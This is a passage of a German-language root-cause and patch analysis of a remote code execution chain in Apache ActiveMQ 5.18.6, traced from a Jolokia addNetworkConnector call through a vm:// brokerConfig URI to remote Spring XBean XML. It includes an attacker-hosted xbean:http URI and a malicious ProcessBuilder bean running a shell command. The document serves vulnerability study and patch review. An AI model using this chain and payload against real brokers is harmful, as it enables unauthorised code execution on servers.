public Transport doCompositeConnect(URI location) throws Exception
```
Die Methode parst den `vm://` URI, extrahiert die Abfrageparameter und behandelt `brokerConfig` als einen Broker-Erstellungs-URI:```java
host = extractHost(location);
options = URISupport.parseParameters(location);
String config = options.remove("brokerConfig");
if (config != null) {
brokerURI = new URI(config);
} else {
Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker.");
brokerURI = new URI("broker://()/" + host + "?"
+ URISupport.createQueryString(brokerOptions));
}
```
Die `create`-Option standardmäßig auf `true`:```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
create = false;
}
```
Wenn kein Broker für den angeforderten VM-Host existiert, erstellt `VMTransportFactory` einen:```java
broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart);
if (broker == null) {
if (!create) {
throw new IOException("Broker named '" + host + "' does not exist.");
}
try {
if (brokerFactoryHandler != null) {
broker = brokerFactoryHandler.createBroker(brokerURI);
} else {
broker = BrokerFactory.createBroker(brokerURI);
}
broker.start();
MDC.put("activemq.broker", broker.getBrokerName());
} catch (URISyntaxException e) {
throw IOExceptionSupport.create(e);
}
BROKERS.put(host, broker);
BrokerRegistry.getInstance().getRegistryMutext().notifyAll();
}
```
Dies ist der Fehler der Privilegienbegrenzung auf Transportebene. Ein URI, der über die Managementebene bereitgestellt wird, wird vom VM-Transport als Anweisung ausgewertet, einen Broker aus einer beliebigen Konfigurations-URI zu erstellen.
Die verbleibende Parameterüberprüfung erfolgt nach der Brokererstellung:```java
if (!options.isEmpty()) {
throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;
```
Diese Validierung kann die Codeausführung über `brokerConfig` nicht verhindern, da `brokerConfig` bereits aus `options` entfernt und vor Durchführung dieser Prüfung verbraucht wurde.
Der Upstream-Erkennungspfad lautet:```java
// activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java
remoteTransport = TransportFactory.connect(connectUri);
```
Für `static:(...)`, gibt `SimpleDiscoveryAgent.start()` sofort jeden konfigurierten Dienst aus:```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
taskRunner = new TaskRunnerFactory();
taskRunner.init();
running.set(true);
for (int i = 0; i < services.length; i++) {
listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
}
}
```
`DiscoveryNetworkConnector.onServiceAdd()` stellt dann eine Verbindung zu der vom Angreifer kontrollierten inneren URI her.
---
### Broker-Erstellungsablauf
Die Broker-Erstellung erfolgt durch:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java
public static BrokerService createBroker(URI brokerURI) throws Exception {
return createBroker(brokerURI, false);
}
public static BrokerService createBroker(URI brokerURI, boolean startBroker) throws Exception {
if (brokerURI.getScheme() == null) {
throw new IllegalArgumentException("Invalid broker URI, no scheme specified: " + brokerURI);
}
BrokerFactoryHandler handler = createBrokerFactoryHandler(brokerURI.getScheme());
BrokerService broker = handler.createBroker(brokerURI);
if (startBroker) {
broker.start();
}
return broker;
}
```
Der Handler-Lookup ist schema-basiert:```java
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
try {
return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
} catch (Throwable e) {
throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
}
}
```
Für `xbean:` URIs wird der Service-Descriptor auf `XBeanBrokerFactory` abgebildet:```properties
# activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/broker/xbean
class=org.apache.activemq.xbean.XBeanBrokerFactory
```
Exakter statischer Aufruffluss:```text
BrokerView.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(URI)
-> DiscoveryNetworkConnector.<init>(URI)
-> DiscoveryNetworkConnector.handleStart()
-> SimpleDiscoveryAgent.start()
-> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
-> TransportFactory.connect(URI)
-> VMTransportFactory.doConnect(URI)
-> VMTransportFactory.doCompositeConnect(URI)
-> BrokerFactory.createBroker(URI)
-> BrokerFactory.createBroker(URI, boolean)
-> XBeanBrokerFactory.createBroker(URI)
```
Der entscheidende Übergang ist:```text
vm://evil?brokerConfig=xbean:http://attacker/evil.xml
```
An:```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))
```
---
### Spring XBean Analyse
Die relevante XBean factory ist:```java
// activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java
public class XBeanBrokerFactory implements BrokerFactoryHandler
```
`createBroker()` extrahiert den schema-spezifischen Teil der `xbean:` URI und erstellt einen Spring-Anwendungskontext, bevor überprüft wird, ob dieser einen Broker enthält:```java
public BrokerService createBroker(URI config) throws Exception {
String uri = config.getSchemeSpecificPart();
if (uri.lastIndexOf('?') != -1) {
IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
uri = uri.substring(0, uri.lastIndexOf('?'));
}
ApplicationContext context = createApplicationContext(uri);
BrokerService broker = null;
try {
broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}
...
}
```
Der gefährliche Sink ist `createApplicationContext()`:```java
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri);
LOG.debug("Using " + resource + " from " + uri);
try {
return new ResourceXmlApplicationContext(resource) {
@Override
protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) {
reader.setValidating(isValidate());
}
};
} catch (FatalBeanException errorToLog) {
LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog);
throw errorToLog;
}
}
```
Entfernte Ressourcen werden von `Utils.resourceFromString()` akzeptiert:```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
Resource resource;
File file = new File(uri);
if (file.exists()) {
resource = new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
try {
resource = new UrlResource(ResourceUtils.getURL(uri));
} catch (FileNotFoundException e) {
MalformedURLException malformedURLException = new MalformedURLException(uri);
malformedURLException.initCause(e);
throw malformedURLException;
}
} else {
resource = new ClassPathResource(uri);
}
return resource;
}
```
Daher:```text
xbean:http://192.168.1.32:9999/evil.xml
```
wird reduziert auf:```text
http://192.168.1.32:9999/evil.xml
```
und als Spring `UrlResource` geladen.
Der Aufruf von `reader.setValidating(isValidate())` steuert nur den XML-Validierungsmodus im `XmlBeanDefinitionReader` von Spring. Es schränkt keine Bean-Klassen, Konstruktorargumente, Lifecycle-Methoden oder Remote-URL-Ressourcen ein.
---
### Analyse der Spring-Bean-Instanziierung
ActiveMQ 5.18.6 deklariert:```xml
<spring-version>5.3.39</spring-version>
<xbean-version>4.25</xbean-version>
```
In XBean 4.25 ruft `ResourceXmlApplicationContext` `refresh()` von seinem Konstruktor aus auf:```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
super();
this.xmlPreprocessors = xmlPreprocessors;
this.resource = resource;
refresh();
}
```
Es lädt Bean-Definitionen aus der angegebenen Ressource:```java
protected void loadBeanDefinitions(XmlBeanDefinitionReader reader)
throws BeansException, IOException {
reader.loadBeanDefinitions(resource);
}
```
Springs `AbstractApplicationContext.refresh()` initialisiert dann die Bean-Factory und instanziiert nicht-lazy Singleton-Beans:```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);
```
`finishBeanFactoryInitialization()` calls:```java
beanFactory.preInstantiateSingletons();
```
`DefaultListableBeanFactory.preInstantiateSingletons()` erstellt jedes nicht-abstrakte, nicht-lazy Singleton-Bean:```java
for (String beanName : beanNames) {
RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
...
getBean(beanName);
}
}
```
Während der Bean-Initialisierung ruft Spring benutzerdefinierte Init-Methoden auf:```java
// org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java
protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) {
...
invokeInitMethods(beanName, wrappedBean, mbd);
...
}
```
Die benutzerdefinierte init-Methode wird aus der Bean-Definition aufgelöst:```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
!(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
!mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
invokeCustomInitMethod(beanName, bean, mbd);
}
```
`invokeCustomInitMethod()` ruft die Methode reflektiv auf:```java
ReflectionUtils.makeAccessible(methodToInvoke);
methodToInvoke.invoke(bean);
```
Ein bösartiger Spring XML-Bean wie:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>sh</value>
<value>-c</value>
<value>touch /tmp/blahblah.txt</value>
</list>
</constructor-arg>
</bean>
```
führt zu folgendem Verhalten:```text
ResourceXmlApplicationContext constructor
-> refresh()
-> XmlBeanDefinitionReader.loadBeanDefinitions()
-> DefaultListableBeanFactory.preInstantiateSingletons()
-> getBean("exec")
-> instantiate java.lang.ProcessBuilder
-> initializeBean()
-> invokeInitMethods()
-> invokeCustomInitMethod("start")
-> ProcessBuilder.start()
```
Dies geschieht, bevor `XBeanBrokerFactory.createBroker()` den resultierenden Kontext validiert, indem es nach einem `BrokerService`-Bean sucht:```java
ApplicationContext context = createApplicationContext(uri);
BrokerService broker = null;
try {
broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}
if (broker == null) {
String[] names = context.getBeanNamesForType(BrokerService.class);
...
}
if (broker == null) {
throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}
```
Die Broker-Validierung erfolgt nach dem Spring-Kontext-Refresh. Infolgedessen kann eine Konfiguration beliebige Init-Methoden ausführen und später dennoch als ungültige Broker-Konfiguration abgelehnt werden.
---
### Ursachenanalyse
Die Ursache liegt in einer unsicheren architektonischen Brücke zwischen einer entfernt aufrufbaren Verwaltungsoperation und vertrauenswürdigen lokalen Broker-Bootstrap-Mechanismen.
Das anfällige Design weist folgende Eigenschaften auf:
- Jolokia legt JMX-`exec`-Operationen für ActiveMQ-Broker-Verwaltungs-MBeans offen.
- `BrokerView.addNetworkConnector(String)` akzeptiert angreiferkontrollierte URI-Eingaben.
- Die URI wird ohne eine Einschränkung auf der Verwaltungsebene hinsichtlich gefährlicher Transportschemata an den ActiveMQ-Netzwerkcode übergeben.
- Die `static:(...)`-Discovery bewirkt, dass die eingeschlossene URI automatisch verbunden wird, wenn der Netzwerk-Connector startet.
- Der `vm://`-Transport ist nicht nur ein In-VM-Transport; er unterstützt auch das automatische Erstellen eines Brokers, wenn der benannte VM-Broker fehlt.
- `VMTransportFactory` behandelt `brokerConfig` als eine Broker-Factory-URI und leitet sie an `BrokerFactory.createBroker()` weiter.
- `BrokerFactory` unterstützt `xbean:`-URIs über `XBeanBrokerFactory`.
- `XBeanBrokerFactory` akzeptiert URL-Ressourcen und erstellt einen Spring-`ResourceXmlApplicationContext`.
- Spring instanziiert eagerly Singleton-Beans und ruft benutzerdefinierte Init-Methoden während des Kontext-Refreshs auf.
- ActiveMQ prüft, ob der Kontext einen gültigen `BrokerService` enthält, erst nachdem Spring den Kontext bereits initialisiert hat.
Dies ist nicht einfach eine isolierte "fehlerhafte Eingabevalidierung". Das anfällige Verhalten wird dadurch verursacht, dass ein konfigurationsfähiger URI-Interpreter über eine JMX-Laufzeitoperation offengelegt wird und dieser Interpreter die Spring-Bean-Lebenszyklusausführung erreichen kann.
Der genaue Fehler besteht darin, dass die Verwaltungs-API `discoveryAddress` als Connector-Adresse behandelt, der nachgelagerte Transport-Stack sie jedoch als ausführbare Konfiguration behandelt. Im Exploit-Pfad wird die Zeichenkette wie folgt ausgewertet:```text
network connector URI
-> discovery service URI
-> VM transport URI
-> broker creation URI
-> XBean Spring resource URI
-> Spring bean definitions
-> Java object lifecycle methods
```
Validierung erfolgt zu spät, da die einzige Broker-Konfigurationsvalidierung in `XBeanBrokerFactory` nach:```java
new ResourceXmlApplicationContext(resource)
```
und dieser constructor führt aus:```text
refresh() -> preInstantiateSingletons() -> init-method invocation
```
Bis ActiveMQ feststellt, dass das XML keine gültige `BrokerService`-Instanz enthält, könnten bereits vom Angreifer kontrollierte Spring Beans ausgeführt worden sein.
---
### Patch Analysis
Der relevante Diff wurde überprüft mit:```bash
git diff activemq-5.18.6..activemq-5.19.4
```
Die sicherheitsrelevante Änderung befindet sich in:```text
activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
```
In 5.18.6 leitete `addNetworkConnector()` die Zeichenkette direkt weiter:```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
...
connector.start();
return connector.getName();
}
```
In 5.19.4 wurde die Validierung hinzugefügt, bevor `BrokerService` aufgerufen wird:```diff
public String addNetworkConnector(String discoveryAddress) throws Exception {
+ // Verify VM transport is not used
+ validateAllowedUrl(discoveryAddress);
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
```
Die gleiche Validierung wurde zu `addConnector()` hinzugefügt:```diff
public String addConnector(String discoveryAddress) throws Exception {
+ // Verify VM transport is not used
+ validateAllowedUrl(discoveryAddress);
TransportConnector connector = brokerService.addConnector(discoveryAddress);
```
Der Validator lehnt `vm` Transport-Schemata ab:```java
private static void validateAllowedUrl(String uriString) throws URISyntaxException {
validateAllowedUri(new URI(uriString), 0);
}
// Validate the URI does not contain VM transport
private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException {
// Don't allow more than 5 nested URIs to prevent blowing the stack
if (depth > 5) {
throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs");
}
// First check the main URI scheme
validateAllowedScheme(uri.getScheme());
// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
URISupport.CompositeData data = URISupport.parseComposite(uri);
depth++;
for (URI component : data.getComponents()) {
if (URISupport.isCompositeURI(uri)) {
validateAllowedUri(component, depth);
} else {
validateAllowedScheme(uri.getScheme());
}
}
}
}
// We don't allow VM transport scheme to be used
private static void validateAllowedScheme(String scheme) {
if (scheme.equals("vm")) {
throw new IllegalArgumentException("VM scheme is not allowed");
}
}
```
Der gepatchte Ausführungspfad wird zu:```text
Jolokia exec
-> BrokerView.addNetworkConnector(String)
-> validateAllowedUrl(String)
-> validateAllowedUri(URI)
-> validateAllowedScheme("vm")
-> IllegalArgumentException("VM scheme is not allowed")
```
Dies blockiert den Exploit, bevor die Anfrage erreicht:```text
BrokerService.addNetworkConnector()
DiscoveryNetworkConnector.start()
TransportFactory.connect()
VMTransportFactory.doCompositeConnect()
BrokerFactory.createBroker()
XBeanBrokerFactory.createApplicationContext()
ResourceXmlApplicationContext.refresh()
```
Der Patch entfernt die VM-Transportunterstützung nicht global. Er schränkt die Verwendung von `vm://` über die JMX-orientierten `BrokerView`-Connector-Erstellungsmethoden ein. Interne oder vertrauenswürdige Codepfade, die den VM-Transport verwenden, existieren weiterhin.
Es wurde keine sicherheitsrelevante Änderung an `VMTransportFactory.doCompositeConnect()` zwischen 5.18.6 und 5.19.4 vorgenommen. Das Verhalten von `brokerConfig` bleibt:```java
String config = options.remove("brokerConfig");
if (config != null) {
brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);
```
No security-relevant change was made to `XBeanBrokerFactory.createApplicationContext()` in this diff. Remote URL resources and Spring `ResourceXmlApplicationContext` behavior remain available for trusted broker configuration loading.
`BrokerFactory` changed from a raw `FactoryFinder` to a typed `FactoryFinder<BrokerFactoryHandler>`:```diff
- private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
- new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
+ private static final FactoryFinder<BrokerFactoryHandler> BROKER_FACTORY_HANDLER_FINDER
+ = new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/",
+ BrokerFactoryHandler.class, null);
```
Dies ist eine Typensicherheitsbereinigung, nicht die RCE-Abmilderung. Der schema-basierte Dispatch an `XBeanBrokerFactory` bleibt bestehen.
`BrokerService` hat `isAutoStart()`-Überprüfungen für den Connector-Start in einigen Pfaden hinzugefügt:```diff
- connector.start();
+ if(connector.isAutoStart()) {
+ connector.start();
+ }
```
Dies ist nicht der primäre Fix für den Jolokia-zu-RCE-Pfad. Die primäre Abhilfe ist die Vorab-Ablehnung von `vm://` in `BrokerView`.
Zusammenfassung des Patch-Verhaltens:
- 5.18.6: `BrokerView.addNetworkConnector()` akzeptiert `static:(vm://...?brokerConfig=xbean:http://...)` und leitet es weiter.
- 5.19.4: `BrokerView.addNetworkConnector()` validiert die bereitgestellte URI vor der Connector-Erstellung und lehnt die Verwendung von verschachteltem `vm://` ab.
- 5.18.6: `VMTransportFactory` kann die vom Angreifer kontrollierte `brokerConfig` verbrauchen, die über den JMX-Pfad erreicht wird.
- 5.19.4: `VMTransportFactory` unterstützt weiterhin `brokerConfig`, aber der exponierte JMX-Pfad wird vor der VM-Transport-Auflösung blockiert.
---
### Zusammenfassung der statischen Analyse
Der genaue anfällige Codepfad in ActiveMQ Classic 5.18.6 ist:```text
HTTP POST /api/jolokia/
-> Jolokia exec operation
-> org.apache.activemq:type=Broker,brokerName=<name>
-> BrokerView.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(URI)
-> DiscoveryNetworkConnector.setUri(URI)
-> DiscoveryAgentFactory.createDiscoveryAgent(URI)
-> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI)
-> BrokerView.addNetworkConnector(): connector.start()
-> DiscoveryNetworkConnector.handleStart()
-> SimpleDiscoveryAgent.start()
-> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
-> TransportFactory.connect(URI)
-> VMTransportFactory.doConnect(URI)
-> VMTransportFactory.doCompositeConnect(URI)
-> BrokerFactory.createBroker(URI)
-> XBeanBrokerFactory.createBroker(URI)
-> XBeanBrokerFactory.createApplicationContext(String)
-> Utils.resourceFromString(String)
-> new ResourceXmlApplicationContext(Resource)
-> XmlBeanDefinitionReader.loadBeanDefinitions(Resource)
-> AbstractApplicationContext.refresh()
-> DefaultListableBeanFactory.preInstantiateSingletons()
-> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod()
-> ProcessBuilder.start()
```
Ausnutzung ist möglich, da ActiveMQ eine Verwaltungsoperation bereitstellt, die eine Connector-URI akzeptiert, aber die nachgelagerte Transportimplementierung diese URI als Konfiguration für die Broker-Erstellung interpretieren kann. Der Parameter `brokerConfig` wechselt von der Transportverbindungslogik in die Broker-Factory-Logik. Mit einem `xbean:`-Wert wechselt er erneut in die Spring-XML-Verarbeitung.
Das Spring-Ausführungsprimitiv ist kein separater Deserialisierungsfehler. Es handelt sich um normales Spring-Lebenszyklusverhalten: Ein nicht-lazy Singleton-Bean wird während des Context-Refresh instanziiert und seine konfigurierte `init-method` wird aufgerufen. Ein `java.lang.ProcessBuilder`-Bean mit `init-method="start"` führt daher während der Initialisierung des Anwendungskontexts einen Prozess aus.
Der Validierungsfehler ist ein Reihenfolgeproblem. ActiveMQ validiert, ob die XBean-Konfiguration einen verwendbaren `BrokerService` enthält, erst nachdem `ResourceXmlApplicationContext` das XML bereits geladen und die Singleton-Beans initialisiert hat. Die Ablehnung der Broker-Konfiguration nach dem Refresh macht Seiteneffekte aus den Bean-Lebenszyklusmethoden nicht rückgängig.
Der Patch 5.19.4 entschärft diesen spezifischen Pfad, indem er eine URI-Validierung in `BrokerView` vor der Connector-Erstellung hinzufügt und die Verwendung des `vm://`-Transports von der JMX-Verwaltungsoberfläche ablehnt. Der Patch blockiert den exponierten Pfad zu `VMTransportFactory.doCompositeConnect()`; er entfernt jedoch nicht die Unterstützung von `brokerConfig`, `xbean:` oder das Spring-XBean-Laden aus vertrauenswürdigen internen Konfigurationspfaden.